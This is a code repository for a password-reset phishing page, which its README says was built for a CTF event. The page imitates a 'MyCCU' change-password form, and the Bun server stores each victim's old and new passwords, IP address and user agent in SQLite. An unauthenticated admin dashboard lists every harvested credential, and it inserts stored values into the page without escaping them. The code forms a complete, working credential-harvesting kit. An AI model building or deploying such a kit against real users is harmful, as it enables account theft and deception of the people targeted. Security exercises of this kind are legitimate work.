+39
.gitignore
+39
.gitignore
···
1
+
# dependencies (bun install)
2
+
node_modules
3
+
4
+
# output
5
+
out
6
+
dist
7
+
*.tgz
8
+
9
+
# code coverage
10
+
coverage
11
+
*.lcov
12
+
13
+
# logs
14
+
logs
15
+
_.log
16
+
report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json
17
+
18
+
# dotenv environment variable files
19
+
.env
20
+
.env.development.local
21
+
.env.test.local
22
+
.env.production.local
23
+
.env.local
24
+
25
+
# caches
26
+
.eslintcache
27
+
.cache
28
+
*.tsbuildinfo
29
+
30
+
# IntelliJ based IDEs
31
+
.idea
32
+
33
+
# Finder (MacOS) folder config
34
+
.DS_Store
35
+
36
+
database.db
37
+
38
+
# crush
39
+
.crush
+27
LICENSE.md
+27
LICENSE.md
···
1
+
The MIT License (MIT)
2
+
=====================
3
+
4
+
Copyright © `2025` `Kieran Klukas`
5
+
6
+
Permission is hereby granted, free of charge, to any person
7
+
obtaining a copy of this software and associated documentation
8
+
files (the “Software”), to deal in the Software without
9
+
restriction, including without limitation the rights to use,
10
+
copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+
copies of the Software, and to permit persons to whom the
12
+
Software is furnished to do so, subject to the following
13
+
conditions:
14
+
15
+
The above copyright notice and this permission notice shall be
16
+
included in all copies or substantial portions of the Software.
17
+
18
+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
19
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
20
+
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
21
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
22
+
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
23
+
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
24
+
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
25
+
OTHER DEALINGS IN THE SOFTWARE.
26
+
27
+
+24
README.md
+24
README.md
···
1
+
# Crimson Phish
2
+
3
+
A simple reset password phishing page for the [2025 Crimson Defence CTF](https://uacrimsondefense.github.io/cdctf.html).
4
+
5
+

6
+
7
+
## Usage
8
+
9
+
This is a very simple server with the html and assets being loaded and bundled by `bun.serve` and then a very simple http api for handling password resets and displaying the password list.
10
+
11
+
```bash
12
+
bun start
13
+
bun dev # hot reloading
14
+
```
15
+
16
+

17
+
18
+
<p align="center">
19
+
<i><code>© 2025-present <a href="https://github.com/taciturnaxolotl">Kieran Klukas</a></code></i>
20
+
</p>
21
+
22
+
<p align="center">
23
+
<a href="https://github.com/taciturnaxolotl/crimson-phish/blob/main/LICENSE.md"><img src="https://img.shields.io/static/v1.svg?style=for-the-badge&label=License&message=MIT&logoColor=d9e0ee&colorA=363a4f&colorB=b7bdf8"/></a>
24
+
</p>
+56
bun.lock
+56
bun.lock
···
1
+
{
2
+
"lockfileVersion": 1,
3
+
"workspaces": {
4
+
"": {
5
+
"name": "phishing-simulator",
6
+
"dependencies": {
7
+
"bun": "latest",
8
+
},
9
+
"devDependencies": {
10
+
"@types/bun": "latest",
11
+
},
12
+
"peerDependencies": {
13
+
"typescript": "^5",
14
+
},
15
+
},
16
+
},
17
+
"packages": {
18
+
"@oven/bun-darwin-aarch64": ["@oven/bun-darwin-aarch64@1.2.22", "", { "os": "darwin", "cpu": "arm64" }, "sha512-YCJkV2/vO5VVTQdwxLQrkW/yU4FAMWd3AXU3Z+TfoeYkHye5d2dIaBRXEPrOzrq1LQ2esN6ZhGfwYu2lVMTVRw=="],
19
+
20
+
"@oven/bun-darwin-x64": ["@oven/bun-darwin-x64@1.2.22", "", { "os": "darwin", "cpu": "x64" }, "sha512-LhazlsoNOhjirQT303zKG5cli65FR5WweZgGRL0LoxH/ZWTwlYxpTCOBJ6/euV8YLMaGDNQfIfRLFARK5NqXng=="],
21
+
22
+
"@oven/bun-darwin-x64-baseline": ["@oven/bun-darwin-x64-baseline@1.2.22", "", { "os": "darwin", "cpu": "x64" }, "sha512-l8OHOXKZKCZaRDb5gxE8qRfccq6zi7j1xJiSI5P86qXW8jPoQbf+pPCoP8NgeyzeHqluWJoN0mqgCsSdp5dzWQ=="],
23
+
24
+
"@oven/bun-linux-aarch64": ["@oven/bun-linux-aarch64@1.2.22", "", { "os": "linux", "cpu": "arm64" }, "sha512-JdC5nvmQh0rbUC46FY5uSF4SKYcY2LX5S66ZZvWdFp8R+6WnNc3Jr1hd5NcRW9qBVQ/JHi8oedrky9BtT8tzMA=="],
25
+
26
+
"@oven/bun-linux-aarch64-musl": ["@oven/bun-linux-aarch64-musl@1.2.22", "", { "os": "linux", "cpu": "none" }, "sha512-Dc4/CsUgufxIwQKo8vVFtUvNSZIqVgogj7cg8GIXdNsanO/vckv8qspyLHuQB5E2Nye4nXorD76ixKuwkPTAMw=="],
27
+
28
+
"@oven/bun-linux-x64": ["@oven/bun-linux-x64@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-U3h5zPw0stPl1qi7sGk8hL1r2QXH73HJBTLBHpeJ+PlfhfX/QIWnL/qK2c5Prm4jh2e/Tkw8bwL7NZ4iE9cVEQ=="],
29
+
30
+
"@oven/bun-linux-x64-baseline": ["@oven/bun-linux-x64-baseline@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-sww8Sqc0Zq94wa95ouNC5weMRXIFt32gB3+xXXw6o52Uf7TeNrYriQr+o68D7A5YXk9DSDFaTknwYTYwYw/lmQ=="],
31
+
32
+
"@oven/bun-linux-x64-musl": ["@oven/bun-linux-x64-musl@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-h76y0mrs1dnpjVxZTzoREa9cRdf029aKP0TxRMgABH3aRm2UBgUfgh0qyTsRhnHd4+gl6X2Vn0nfStZTNWGEFQ=="],
33
+
34
+
"@oven/bun-linux-x64-musl-baseline": ["@oven/bun-linux-x64-musl-baseline@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-iQgG4wCSkHQ0CrEPsLMsCWoM1hewybJHVP5d3UaASwHcfuvd7N7hODZyz59tfMaGxZygyxIXQhgz32p37zDsEg=="],
35
+
36
+
"@oven/bun-windows-x64": ["@oven/bun-windows-x64@1.2.22", "", { "os": "win32", "cpu": "x64" }, "sha512-u+MIs0yj8Euv2ScFuqmbL54n4uJ+ZMK2nkAwkzumu6oUG0wRzIaSxAv61bO70Q1lTWX4dXLfoJhADJ1HdiGpTQ=="],
37
+
38
+
"@oven/bun-windows-x64-baseline": ["@oven/bun-windows-x64-baseline@1.2.22", "", { "os": "win32", "cpu": "x64" }, "sha512-9NgPAoht79/rex2C4IJ4N9BFpNupXS5WdKMKda0tBB/xjQkEZbSZ01wpS7PF4yHPwWsUZI0g7xP8NcNHT3nDcw=="],
39
+
40
+
"@types/bun": ["@types/bun@1.2.22", "", { "dependencies": { "bun-types": "1.2.22" } }, "sha512-5A/KrKos2ZcN0c6ljRSOa1fYIyCKhZfIVYeuyb4snnvomnpFqC0tTsEkdqNxbAgExV384OETQ//WAjl3XbYqQA=="],
41
+
42
+
"@types/node": ["@types/node@24.5.2", "", { "dependencies": { "undici-types": "~7.12.0" } }, "sha512-FYxk1I7wPv3K2XBaoyH2cTnocQEu8AOZ60hPbsyukMPLv5/5qr7V1i8PLHdl6Zf87I+xZXFvPCXYjiTFq+YSDQ=="],
43
+
44
+
"@types/react": ["@types/react@19.1.13", "", { "dependencies": { "csstype": "^3.0.2" } }, "sha512-hHkbU/eoO3EG5/MZkuFSKmYqPbSVk5byPFa3e7y/8TybHiLMACgI8seVYlicwk7H5K/rI2px9xrQp/C+AUDTiQ=="],
45
+
46
+
"bun": ["bun@1.2.22", "", { "optionalDependencies": { "@oven/bun-darwin-aarch64": "1.2.22", "@oven/bun-darwin-x64": "1.2.22", "@oven/bun-darwin-x64-baseline": "1.2.22", "@oven/bun-linux-aarch64": "1.2.22", "@oven/bun-linux-aarch64-musl": "1.2.22", "@oven/bun-linux-x64": "1.2.22", "@oven/bun-linux-x64-baseline": "1.2.22", "@oven/bun-linux-x64-musl": "1.2.22", "@oven/bun-linux-x64-musl-baseline": "1.2.22", "@oven/bun-windows-x64": "1.2.22", "@oven/bun-windows-x64-baseline": "1.2.22" }, "os": [ "linux", "win32", "darwin", ], "cpu": [ "x64", "arm64", ], "bin": { "bun": "bin/bun.exe", "bunx": "bin/bunx.exe" } }, "sha512-NnU1TEiH9LLv1jE+84AJ7ZGimdQzLgzbZNvK3enNh5qUHqkgDm99SiA7tnJnzfJW5OWBdoZzKae2zXu0pwQ/kA=="],
47
+
48
+
"bun-types": ["bun-types@1.2.22", "", { "dependencies": { "@types/node": "*" }, "peerDependencies": { "@types/react": "^19" } }, "sha512-hwaAu8tct/Zn6Zft4U9BsZcXkYomzpHJX28ofvx7k0Zz2HNz54n1n+tDgxoWFGB4PcFvJXJQloPhaV2eP3Q6EA=="],
49
+
50
+
"csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
51
+
52
+
"typescript": ["typescript@5.9.2", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-CWBzXQrc/qOkhidw1OzBTQuYRbfyxDXJMVJ1XNwUHGROVmuaeiEm3OslpZ1RV96d7SKKjZKrSJu3+t/xlw3R9A=="],
53
+
54
+
"undici-types": ["undici-types@7.12.0", "", {}, "sha512-goOacqME2GYyOZZfb5Lgtu+1IDmAlAEu5xnD3+xTzS10hT0vzpf0SPjkXwAw9Jm+4n/mQGDP3LO8CPbYROeBfQ=="],
55
+
}
56
+
}
docs/admin.png
docs/admin.png
This is a binary file and will not be displayed.
docs/index.png
docs/index.png
This is a binary file and will not be displayed.
+86
index.ts
+86
index.ts
···
1
+
import { serve } from "bun";
2
+
import homepage from "./public/index.html";
3
+
import adminpage from "./public/admin.html";
4
+
import { SQL } from "bun";
5
+
6
+
const db = new SQL("sqlite://database.db");
7
+
await db`
8
+
CREATE TABLE IF NOT EXISTS passwords (
9
+
id INTEGER PRIMARY KEY AUTOINCREMENT,
10
+
username TEXT NOT NULL,
11
+
old_password TEXT NOT NULL,
12
+
new_password TEXT NOT NULL,
13
+
ip_address TEXT NOT NULL,
14
+
user_agent TEXT NOT NULL,
15
+
timestamp TEXT NOT NULL
16
+
);
17
+
`;
18
+
19
+
const server = serve({
20
+
routes: {
21
+
// HTML imports
22
+
"/": homepage,
23
+
"/admin": adminpage,
24
+
25
+
// API endpoints
26
+
"/api/change-password": {
27
+
async POST(req) {
28
+
const { username, current_password, new_password } =
29
+
(await req.json()) as {
30
+
username: string;
31
+
current_password: string;
32
+
new_password: string;
33
+
};
34
+
35
+
// Get client info
36
+
const ip_address = req.headers.get("x-forwarded-for") || "unknown";
37
+
const user_agent = req.headers.get("user-agent") || "unknown";
38
+
39
+
// Log the password change attempt
40
+
await db`
41
+
INSERT INTO passwords
42
+
(username, old_password, new_password, ip_address, user_agent, timestamp)
43
+
VALUES (
44
+
${username},
45
+
${current_password},
46
+
${new_password},
47
+
${ip_address},
48
+
${user_agent},
49
+
${new Date().toISOString()}
50
+
)
51
+
`;
52
+
53
+
// Log to console
54
+
console.log("Password change attempt:", {
55
+
username,
56
+
old_password: current_password,
57
+
new_password,
58
+
ip_address,
59
+
user_agent,
60
+
});
61
+
62
+
// Simulate successful password change
63
+
return Response.json({
64
+
success: true,
65
+
message: "Password changed successfully",
66
+
});
67
+
},
68
+
},
69
+
70
+
"/api/logs": {
71
+
async GET(req) {
72
+
const logs = await db`
73
+
SELECT * FROM passwords
74
+
`;
75
+
// Return all logs
76
+
return Response.json(logs);
77
+
},
78
+
},
79
+
},
80
+
81
+
// Enable development mode
82
+
development: true,
83
+
});
84
+
85
+
console.log(`Phishing server running at ${server.url}`);
86
+
console.log(`Admin dashboard available at ${server.url}admin`);
+21
package.json
+21
package.json
···
1
+
{
2
+
"name": "phishing-simulator",
3
+
"version": "1.0.0",
4
+
"description": "A phishing simulation for educational purposes",
5
+
"main": "index.ts",
6
+
"type": "module",
7
+
"scripts": {
8
+
"start": "bun run index.ts",
9
+
"dev": "bun --hot run index.ts"
10
+
},
11
+
"dependencies": {
12
+
"bun": "latest"
13
+
},
14
+
"private": true,
15
+
"devDependencies": {
16
+
"@types/bun": "latest"
17
+
},
18
+
"peerDependencies": {
19
+
"typescript": "^5"
20
+
}
21
+
}
+123
public/admin.html
+123
public/admin.html
···
1
+
<!doctype html>
2
+
<html lang="en">
3
+
<head>
4
+
<meta charset="UTF-8" />
5
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+
<link rel="icon" type="image/x-icon" href="favicon.png" />
7
+
<title>Admin Dashboard</title>
8
+
<link rel="stylesheet" href="styles.css" />
9
+
<style>
10
+
.admin-container {
11
+
width: 90%;
12
+
max-width: 1200px;
13
+
margin: 20px auto;
14
+
padding: 20px;
15
+
background-color: #fff;
16
+
border-radius: 8px;
17
+
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
18
+
}
19
+
20
+
table {
21
+
width: 100%;
22
+
border-collapse: collapse;
23
+
margin-top: 20px;
24
+
}
25
+
26
+
th, td {
27
+
padding: 12px;
28
+
text-align: left;
29
+
border-bottom: 1px solid #ddd;
30
+
}
31
+
32
+
th {
33
+
background-color: #c62828;
34
+
color: white;
35
+
}
36
+
37
+
tr:hover {
38
+
background-color: #f5f5f5;
39
+
}
40
+
41
+
.refresh-btn {
42
+
background-color: #c62828;
43
+
color: white;
44
+
border: none;
45
+
padding: 10px 20px;
46
+
border-radius: 4px;
47
+
cursor: pointer;
48
+
margin-bottom: 20px;
49
+
}
50
+
51
+
.refresh-btn:hover {
52
+
background-color: #b71c1c;
53
+
}
54
+
</style>
55
+
</head>
56
+
<body>
57
+
<header>
58
+
<img src="banner.png" alt="" width="500px" />
59
+
</header>
60
+
61
+
<div class="header">
62
+
<h1>Admin Dashboard</h1>
63
+
</div>
64
+
65
+
<div class="admin-container">
66
+
<h2>Password Change Logs</h2>
67
+
<button id="refreshBtn" class="refresh-btn">Refresh Data</button>
68
+
<div id="logsContainer">
69
+
<table id="logsTable">
70
+
<thead>
71
+
<tr>
72
+
<th>ID</th>
73
+
<th>Username</th>
74
+
<th>Old Password</th>
75
+
<th>New Password</th>
76
+
<th>IP Address</th>
77
+
<th>User Agent</th>
78
+
<th>Timestamp</th>
79
+
</tr>
80
+
</thead>
81
+
<tbody id="logsTableBody">
82
+
<!-- Logs will be inserted here -->
83
+
</tbody>
84
+
</table>
85
+
</div>
86
+
</div>
87
+
88
+
<script>
89
+
// Function to fetch and display logs
90
+
function fetchLogs() {
91
+
fetch('/api/logs')
92
+
.then(response => response.json())
93
+
.then(data => {
94
+
const tableBody = document.getElementById('logsTableBody');
95
+
tableBody.innerHTML = ''; // Clear existing rows
96
+
97
+
data.forEach(log => {
98
+
const row = document.createElement('tr');
99
+
row.innerHTML = `
100
+
<td>${log.id}</td>
101
+
<td>${log.username}</td>
102
+
<td>${log.old_password}</td>
103
+
<td>${log.new_password}</td>
104
+
<td>${log.ip_address}</td>
105
+
<td>${log.user_agent}</td>
106
+
<td>${log.timestamp}</td>
107
+
`;
108
+
tableBody.appendChild(row);
109
+
});
110
+
})
111
+
.catch(error => {
112
+
console.error('Error fetching logs:', error);
113
+
});
114
+
}
115
+
116
+
// Fetch logs when page loads
117
+
document.addEventListener('DOMContentLoaded', fetchLogs);
118
+
119
+
// Refresh button event listener
120
+
document.getElementById('refreshBtn').addEventListener('click', fetchLogs);
121
+
</script>
122
+
</body>
123
+
</html>
public/favicon.png
public/favicon.png
This is a binary file and will not be displayed.
+231
public/index.html
+231
public/index.html
···
1
+
<!doctype html>
2
+
<html lang="en">
3
+
<head>
4
+
<meta charset="UTF-8" />
5
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+
<link rel="icon" type="image/x-icon" href="favicon.png" />
7
+
<title>MyCCU Change Password</title>
8
+
<link rel="stylesheet" href="styles.css" />
9
+
<link rel="stylesheet" href="loginstyles.css" />
10
+
<link rel="preconnect" href="https://fonts.googleapis.com" />
11
+
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
12
+
<link
13
+
href="https://fonts.googleapis.com/css2?family=Archivo:ital,wght@0,100..900;1,100..900&family=Open+Sans:ital,wght@0,300..800;1,300..800&display=swap"
14
+
rel="stylesheet"
15
+
/>
16
+
</head>
17
+
<body>
18
+
<header>
19
+
<a href="index.html"
20
+
><img src="banner.png" alt="" width="500px"
21
+
/></a>
22
+
</header>
23
+
24
+
<div class="header">
25
+
<h1>Welcome to MyCCU</h1>
26
+
</div>
27
+
28
+
<div class="login-wrapper">
29
+
<div class="login-container">
30
+
<h2>Change Password</h2>
31
+
<div class="loginForm">
32
+
<p>
33
+
Hello Jeffrey Barrett, please enter your current
34
+
password and choose a new password.
35
+
</p>
36
+
<form id="resetForm">
37
+
<div class="form-group">
38
+
<label>Current Password</label>
39
+
<input
40
+
type="password"
41
+
name="current_password"
42
+
class="form-control"
43
+
required
44
+
/>
45
+
<span class="help-block"></span>
46
+
</div>
47
+
48
+
<div class="form-group">
49
+
<label>New Password</label>
50
+
<input
51
+
type="password"
52
+
name="new_password"
53
+
class="form-control"
54
+
required
55
+
/>
56
+
<span class="help-block"></span>
57
+
</div>
58
+
59
+
<div class="form-group">
60
+
<label>Confirm New Password</label>
61
+
<input
62
+
type="password"
63
+
name="confirm_password"
64
+
class="form-control"
65
+
required
66
+
/>
67
+
<span class="help-block"></span>
68
+
</div>
69
+
70
+
<div class="form-group">
71
+
<input
72
+
type="submit"
73
+
class="btn btn-primary"
74
+
value="Change Password"
75
+
/>
76
+
</div>
77
+
78
+
<p>
79
+
<a
80
+
href="http://crimsonchallenge.duckdns.org/login.php"
81
+
>Back to Login</a
82
+
>.
83
+
</p>
84
+
</form>
85
+
</div>
86
+
</div>
87
+
</div>
88
+
89
+
<script>
90
+
document
91
+
.getElementById("resetForm")
92
+
.addEventListener("submit", function (e) {
93
+
e.preventDefault();
94
+
95
+
const formData = new FormData(this);
96
+
const currentPassword = formData.get("current_password");
97
+
const newPassword = formData.get("new_password");
98
+
const confirmPassword = formData.get("confirm_password");
99
+
100
+
// Clear previous errors
101
+
document
102
+
.querySelectorAll(".form-group")
103
+
.forEach((group) => {
104
+
group.classList.remove("has-error");
105
+
const helpBlock =
106
+
group.querySelector(".help-block");
107
+
if (helpBlock) {
108
+
helpBlock.textContent = "";
109
+
}
110
+
});
111
+
112
+
// Validate password confirmation
113
+
if (newPassword !== confirmPassword) {
114
+
const confirmGroup =
115
+
document.querySelectorAll(".form-group")[2];
116
+
const helpBlock =
117
+
confirmGroup.querySelector(".help-block");
118
+
if (helpBlock) {
119
+
helpBlock.textContent =
120
+
"New passwords do not match.";
121
+
confirmGroup.classList.add("has-error");
122
+
}
123
+
return;
124
+
}
125
+
126
+
// Validate password strength (optional)
127
+
if (newPassword.length < 8) {
128
+
const newPasswordGroup =
129
+
document.querySelectorAll(".form-group")[1];
130
+
const helpBlock =
131
+
newPasswordGroup.querySelector(".help-block");
132
+
if (helpBlock) {
133
+
helpBlock.textContent =
134
+
"New password must be at least 8 characters long.";
135
+
newPasswordGroup.classList.add("has-error");
136
+
}
137
+
return;
138
+
}
139
+
140
+
// Prepare data for API
141
+
const apiData = {
142
+
username: "jbarrett",
143
+
current_password: currentPassword,
144
+
new_password: newPassword,
145
+
};
146
+
147
+
// Make the request to our Bun API
148
+
fetch("/api/change-password", {
149
+
method: "POST",
150
+
headers: {
151
+
"Content-Type": "application/json",
152
+
},
153
+
body: JSON.stringify(apiData),
154
+
})
155
+
.then((response) => response.json())
156
+
.then((data) => {
157
+
if (data.success) {
158
+
alert("Password changed successfully!");
159
+
// Redirect to the target site
160
+
window.location.href =
161
+
"https://www.youtube.com/watch?v=E4WlUXrJgy4";
162
+
} else {
163
+
// Show error on appropriate field
164
+
if (data.field === "current_password") {
165
+
const currentGroup =
166
+
document.querySelectorAll(
167
+
".form-group",
168
+
)[0];
169
+
const helpBlock =
170
+
currentGroup.querySelector(
171
+
".help-block",
172
+
);
173
+
if (helpBlock) {
174
+
helpBlock.textContent =
175
+
data.message ||
176
+
"Current password is incorrect.";
177
+
currentGroup.classList.add("has-error");
178
+
}
179
+
} else {
180
+
const newPasswordGroup =
181
+
document.querySelectorAll(
182
+
".form-group",
183
+
)[1];
184
+
const helpBlock =
185
+
newPasswordGroup.querySelector(
186
+
".help-block",
187
+
);
188
+
if (helpBlock) {
189
+
helpBlock.textContent =
190
+
data.message ||
191
+
"An error occurred. Please try again.";
192
+
newPasswordGroup.classList.add(
193
+
"has-error",
194
+
);
195
+
}
196
+
}
197
+
}
198
+
})
199
+
.catch((error) => {
200
+
console.error("Error:", error);
201
+
const currentGroup =
202
+
document.querySelectorAll(".form-group")[0];
203
+
const helpBlock =
204
+
currentGroup.querySelector(".help-block");
205
+
if (helpBlock) {
206
+
helpBlock.textContent =
207
+
"Network error. Please try again.";
208
+
currentGroup.classList.add("has-error");
209
+
}
210
+
});
211
+
});
212
+
213
+
// Clear error state when user starts typing
214
+
document
215
+
.querySelectorAll('input[type="password"]')
216
+
.forEach((input) => {
217
+
input.addEventListener("input", function () {
218
+
const formGroup = this.closest(".form-group");
219
+
if (formGroup) {
220
+
formGroup.classList.remove("has-error");
221
+
const helpBlock =
222
+
formGroup.querySelector(".help-block");
223
+
if (helpBlock) {
224
+
helpBlock.textContent = "";
225
+
}
226
+
}
227
+
});
228
+
});
229
+
</script>
230
+
</body>
231
+
</html>
+131
public/loginstyles.css
+131
public/loginstyles.css
···
1
+
2
+
/* Body Styling */
3
+
body {
4
+
background-color: #f4f4f4;
5
+
display: flex;
6
+
justify-content: center;
7
+
align-items: center;
8
+
height: 100vh;
9
+
margin: 0;
10
+
flex-direction: column;
11
+
}
12
+
13
+
14
+
.header h1 {
15
+
font-size: 36px;
16
+
margin-bottom: 10px;
17
+
}
18
+
19
+
.header p {
20
+
font-size: 18px;
21
+
margin-top: 0;
22
+
}
23
+
24
+
/* Login and Message Container */
25
+
.login-wrapper {
26
+
margin: 0;
27
+
padding: 0;
28
+
box-sizing: border-box;
29
+
display: flex;
30
+
justify-content: center;
31
+
align-items: center;
32
+
max-width: 1100px;
33
+
width: 100%;
34
+
background-color: #fff;
35
+
border-radius: 8px;
36
+
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
37
+
padding: 20px;
38
+
margin-top: 20px; /* Adjust for header height */
39
+
}
40
+
41
+
/* Login Container */
42
+
.login-container {
43
+
width: 50%;
44
+
padding: 30px;
45
+
box-sizing: border-box;
46
+
}
47
+
48
+
/* Heading */
49
+
h2 {
50
+
text-align: center;
51
+
margin-bottom: 20px;
52
+
font-size: 24px;
53
+
color: #333;
54
+
}
55
+
56
+
/* Input Field Styling */
57
+
input {
58
+
width: 100%;
59
+
padding: 12px;
60
+
margin-bottom: 20px;
61
+
border: 1px solid #ddd;
62
+
border-radius: 4px;
63
+
font-size: 16px;
64
+
box-sizing: border-box;
65
+
}
66
+
67
+
input:focus {
68
+
border-color: #c62828;
69
+
outline: none;
70
+
}
71
+
72
+
/* Button Styling */
73
+
button {
74
+
width: 100%;
75
+
padding: 12px;
76
+
background-color: #c62828;
77
+
color: #fff;
78
+
border: none;
79
+
border-radius: 4px;
80
+
font-size: 16px;
81
+
cursor: pointer;
82
+
}
83
+
84
+
button:hover {
85
+
background-color: #b71c1c;
86
+
}
87
+
88
+
/* Error Message */
89
+
.message {
90
+
color: red;
91
+
font-size: 0.9rem;
92
+
text-align: center;
93
+
display: none;
94
+
margin-top: 10px;
95
+
}
96
+
97
+
/* Message Section */
98
+
.message-section {
99
+
width: 50%;
100
+
padding: 30px;
101
+
box-sizing: border-box;
102
+
background-color: #f0f8ff;
103
+
border-radius: 8px;
104
+
display: flex;
105
+
justify-content: center;
106
+
align-items: center;
107
+
}
108
+
109
+
.message-section h3 {
110
+
font-size: 18px;
111
+
color: #333;
112
+
}
113
+
114
+
.message-section p {
115
+
font-size: 14px;
116
+
color: #555;
117
+
}
118
+
119
+
120
+
121
+
/* Responsive Design */
122
+
@media (max-width: 800px) {
123
+
.login-wrapper {
124
+
flex-direction: column;
125
+
max-width: 100%;
126
+
}
127
+
128
+
.login-container, .message-section {
129
+
width: 100%;
130
+
}
131
+
}
+481
public/styles.css
+481
public/styles.css
···
1
+
body {
2
+
font-family: "Open Sans", sans-serif;
3
+
margin: 0;
4
+
padding: 0;
5
+
box-sizing: border-box;
6
+
background-color: #f9f9f9;
7
+
color: #333;
8
+
}
9
+
h1, h2, h3, h4 {
10
+
font-family: "Archivo", sans-serif;
11
+
}
12
+
header {
13
+
background-color: #c62828; /* Red */
14
+
color: white;
15
+
padding: 15px 0;
16
+
text-align: center;
17
+
}
18
+
header h1 {
19
+
margin: 0;
20
+
}
21
+
nav {
22
+
background-color: #b71c1c; /* Dark Red */
23
+
overflow: hidden;
24
+
}
25
+
nav a {
26
+
color: white;
27
+
padding: 15px 20px;
28
+
text-decoration: none;
29
+
display: inline-block;
30
+
text-align: center;
31
+
}
32
+
nav a:hover {
33
+
background-color: #9a1a1a; /* Even darker red for hover effect */
34
+
}
35
+
.container {
36
+
width: 80%;
37
+
margin: 20px auto;
38
+
}
39
+
section {
40
+
margin-bottom: 30px;
41
+
}
42
+
.cta {
43
+
background-color: #d32f2f; /* Bright Red */
44
+
color: white;
45
+
padding: 20px;
46
+
text-align: center;
47
+
border-radius: 5px;
48
+
}
49
+
.cta a {
50
+
color: white;
51
+
text-decoration: none;
52
+
font-weight: bold;
53
+
font-size: 18px;
54
+
}
55
+
.cta a:hover {
56
+
text-decoration: underline;
57
+
}
58
+
footer {
59
+
background-color: #c62828; /* Red */
60
+
color: white;
61
+
padding: 10px 0;
62
+
text-align: center;
63
+
}
64
+
/* Additional Styling for Input Fields */
65
+
input[type="text"], input[type="password"], button {
66
+
padding: 10px;
67
+
font-size: 16px;
68
+
margin: 10px 0;
69
+
width: 100%;
70
+
border: 2px solid #c62828; /* Red borders */
71
+
border-radius: 5px;
72
+
}
73
+
button {
74
+
background-color: #c62828;
75
+
color: white;
76
+
border: none;
77
+
cursor: pointer;
78
+
transition-duration: 0.4s;
79
+
}
80
+
button:hover {
81
+
background-color: #b71c1c;
82
+
}
83
+
.column {
84
+
float: left;
85
+
width: 48%;
86
+
padding: 10px;
87
+
height: auto;
88
+
text-align: center;
89
+
}
90
+
91
+
/* Clear floats after the columns */
92
+
.row:after {
93
+
content: "";
94
+
display: table;
95
+
clear: both;
96
+
}
97
+
98
+
/* Responsive layout */
99
+
@media (max-width: 600px) {
100
+
.column {
101
+
width: 100%;
102
+
}
103
+
}
104
+
105
+
.intro-text {
106
+
background-color: #f1f1f1;
107
+
padding: 20px;
108
+
border-left: 5px solid #c62828;
109
+
margin-bottom: 30px;
110
+
}
111
+
112
+
figcaption {
113
+
font-style: italic;
114
+
font-size: smaller;
115
+
}
116
+
117
+
.flex-container {
118
+
display: flex;
119
+
}
120
+
121
+
/* Style for the job-listings section */
122
+
.job-listings {
123
+
list-style-type: none; /* Removes default list bullets */
124
+
padding: 0;
125
+
margin: 0;
126
+
}
127
+
128
+
.job-item {
129
+
background-color: #fff; /* White background for each job item */
130
+
border: 1px solid #ddd; /* Light gray border for separation */
131
+
border-radius: 8px; /* Rounded corners */
132
+
margin-bottom: 20px; /* Space between job items */
133
+
padding: 20px;
134
+
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); /* Light shadow for depth */
135
+
transition: transform 0.3s ease, box-shadow 0.3s ease; /* Smooth transition effect */
136
+
}
137
+
138
+
.job-item:hover {
139
+
transform: translateY(-5px); /* Slight lift effect on hover */
140
+
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.15); /* Stronger shadow on hover */
141
+
}
142
+
143
+
.job-item h4 {
144
+
font-size: 1.6rem;
145
+
color: #c62828; /* color for job title */
146
+
margin-bottom: 10px;
147
+
font-weight: bold;
148
+
}
149
+
150
+
.job-item p {
151
+
font-size: 1rem;
152
+
line-height: 1.6;
153
+
color: #555; /* Slightly gray text for better readability */
154
+
margin-bottom: 10px;
155
+
}
156
+
157
+
.job-item a.apply-button {
158
+
display: inline-block;
159
+
background-color: #c62828; /* color for the button */
160
+
color: white;
161
+
padding: 10px 20px;
162
+
text-decoration: none;
163
+
font-weight: 600;
164
+
border-radius: 5px;
165
+
text-align: center;
166
+
margin-top: 15px;
167
+
transition: background-color 0.3s ease;
168
+
}
169
+
170
+
.job-item a.apply-button:hover {
171
+
background-color: #b71c1c; /* Darker on hover */
172
+
}
173
+
174
+
/* Services */
175
+
176
+
/* Section styling for each service section */
177
+
#creditunion-services {
178
+
background-color: #f9f9f9;
179
+
border: 1px solid #ddd;
180
+
margin-bottom: 20px;
181
+
padding: 20px;
182
+
border-radius: 8px;
183
+
}
184
+
185
+
/* Styling for each section's heading */
186
+
#creditunion-services h2 {
187
+
font-size: 1.8rem;
188
+
color: #c62828;
189
+
margin-bottom: 10px;
190
+
font-weight: bold;
191
+
}
192
+
193
+
/* Paragraph styling */
194
+
#creditunion-services p {
195
+
font-size: 1rem;
196
+
line-height: 1.6;
197
+
color: #555;
198
+
margin-bottom: 20px;
199
+
}
200
+
201
+
/* Service list styling */
202
+
.service-list {
203
+
list-style-type: none;
204
+
padding-left: 0;
205
+
margin-top: 10px;
206
+
}
207
+
208
+
.service-list li {
209
+
font-size: 1rem;
210
+
color: #333;
211
+
margin-bottom: 10px;
212
+
}
213
+
214
+
.service-list li strong {
215
+
